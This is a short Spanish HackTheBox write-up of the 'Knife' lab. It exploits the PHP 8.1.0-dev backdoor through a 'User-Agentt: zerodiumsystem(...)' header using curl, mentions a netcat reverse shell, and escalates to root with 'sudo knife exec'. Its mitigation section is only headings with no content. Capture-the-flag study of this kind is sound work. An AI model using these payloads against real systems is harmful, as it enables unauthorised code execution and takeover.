write-ups / Knife — PHP 8.1.0-dev Backdoor RCE

Knife — PHP 8.1.0-dev Backdoor RCE

Explotación del backdoor plantado en PHP 8.1.0-dev via header HTTP. Escalada de privilegios con binary knife (GTFOBins). Mitigación: patch management y no exponer versiones en headers.

easy HackTheBox Linux 2025-05-10
RCEGTFOBinsPHPPrivesc

Reconocimiento

Inicio con un escaneo de puertos completo:

nmap -sC -sV -oN knife.nmap 10.10.10.242

Resultado: puerto 22 (SSH) y 80 (HTTP Apache). Al inspeccionar los headers de respuesta del servidor web noto la versión de PHP:

X-Powered-By: PHP/8.1.0-dev

Explotación

La versión PHP/8.1.0-dev fue comprometida en su repositorio oficial en 2021. El backdoor se activa enviando código PHP arbitrario en el header User-Agentt (doble t):

curl -s http://10.10.10.242/ \
  -H 'User-Agentt: zerodiumsystem("id");'
# uid=1000(james) gid=1000(james)

Obtengo reverse shell completa con netcat listener en el puerto 4444.

Escalada de Privilegios

sudo -l
# (root) NOPASSWD: /usr/bin/knife

El binario knife (Chef Infrastructure) permite ejecutar scripts Ruby. GTFOBins al rescate:

sudo knife exec -E 'exec "/bin/bash"'
# root@knife:~#

Mitigación — Perspectiva Blue Team

¿Cómo se habría detectado y prevenido?

Prevención:

Detección con Wazuh:

← Volver a write-ups